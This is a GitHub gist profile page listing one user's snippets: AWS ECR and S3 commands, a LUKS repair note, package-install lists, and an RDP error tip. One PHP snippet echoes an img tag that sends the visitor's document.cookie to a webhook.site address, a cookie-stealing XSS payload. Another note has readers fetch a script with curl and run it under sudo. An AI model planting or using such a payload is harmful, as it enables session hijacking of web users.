Skip to content

Instantly share code, notes, and snippets.

View ericpardee's full-sized avatar

ericpardee ericpardee

View GitHub Profile
# Create EventBridge event alerts when there are CRITICAL severity vulnerabilities in an ECR Image Scan
{
"detail-type": [
"ECR Image Scan"
],
"source": [
"aws.ecr"
],
"detail": {
"finding-severity-counts": {
@ericpardee
ericpardee / buckyeah.md
Last active September 8, 2020 04:29
How can I migrate my Amazon S3 bucket to another AWS Region?

You can't move an Amazon Simple Storage Service (Amazon S3) bucket to another AWS Region

But once you follow all these instructions, and sync your buckets aws s3 sync s3://wrongregion-bestbucketever s3://bestbucketever-temp --source-region us-west-1 --region us-west-2 it says

To claim the bucket name as soon as it's available, you can run a script to continuously check the bucket name's availability.

That script is this (I didn't just issue the CreateBucket API call because my situation is more involved):

buckYeah() { if aws s3api wait bucket-exists --bucket bestbucketever ; then echo "Terraform Time" | mail -s "Bucket Ready" [email protected] ; else buckYeah ; fi ; } ; buckYeah
@ericpardee
ericpardee / .crypt-fix.md
Created May 6, 2020 16:03 — forked from dragon788/.crypt-fix.md
Repair "ubuntu--vg-root" not found with LUKS and LVM encryption

Crypt-fix

Use this script via curl -L -O https://gist.github.com/dragon788/e777ba64d373210e4f6306ad40ee0e80/raw/a86f3d05fb56feb6ef01fc2d61a4feb2fd82b281/crypt-fix.sh and sudo bash ./crypt-fix.sh. You may need to edit the DEVICE variable to reflect your disk and partition layout (this was created on an EFI system using LUKS and LVM). It will prompt you for your disk password once to mount and discover the correct name for the encrypted volume mount and then prompt again to mount with the correct name so that the update-initramfs command succeeds with the appropriate mapping, if this wasn't done you would get a warning and your next boot would still fail.

<?php
$html <<<EOF
<img src="https://webhook.site/$/https://gist.githubusercontent.com/ericpardee/79efe218b11f0773a77049a90fe00395/raw/43b2bd8d6f45ebcf1eb58473a784791a615a43aa/kazwolfe.php?ta=kazwolfe?cookie="+(document.cookie||"nocookie!") />
EOF;
echo $html;
?>
neofetch --off
# if there's no objects in bucket and it's not being used as a website, probably not being used.
for bucket in $(aws -p prod s3api list-buckets --query "Buckets[].Name" --output table | tail -n +4 | awk '{print $2}') ; do if [ `aws -p prod s3 ls $bucket | wc -m | awk '{print $1}'` = 0 ]; then aws -p prod s3api get-bucket-website --bucket $bucket > /dev/null 2>&1 ; ret=$? ; if [ $ret -ne 0 ] ; then echo "$bucket" ; fi ; fi ; done
# Homebrew casks
brew cask list
aerial
airdisplay
alfred
angry-ip-scanner
atom
autodmg
avidemux
bittorrent
@ericpardee
ericpardee / gist:0473601c04eefad02dd31971354287bf
Created February 1, 2017 19:11
Unexpected Error (code 1024)
Trying to connect to Windows Server 2016 via Microsoft Remote Desktop for Mac and got this. The reason is RDS Licensing, in my case, I hadn't installed the Windows Server 2016 RDS CAL yet. You can bypass this by checking the connect as Admin button in Remote Desktop Client
choco install 7zip 7zip.install angryip atom autoit.commandline bginfo chocolatey chocolatey-core.extension chocolatey.extension clink cpu-z cpu-z.install ditto ditto.install DotNet3.5 DotNet4.5.2 dropbox evernote ffmpeg Firefox GoogleChrome gpg4win gpg4win-vanilla javaruntime jre8 KB2919355 KB2919442 kindle notepadplusplus notepadplusplus.install openvpn putty putty.portable python2 rdcman realvnc realvnc.install slack sqlserver-odbcdriver VisualStudio2017Community visualstudiocode vlc vmware-workstation-player vmwarevsphereclient vnc-connect youtube-dl yubikey-personalization-tool -y
# 1password is 4, need 1password 6 beta
# choco list -lo > choco.txt
# should convert to Windows
# awk '{print $1}' choco.txt | xargs
# to update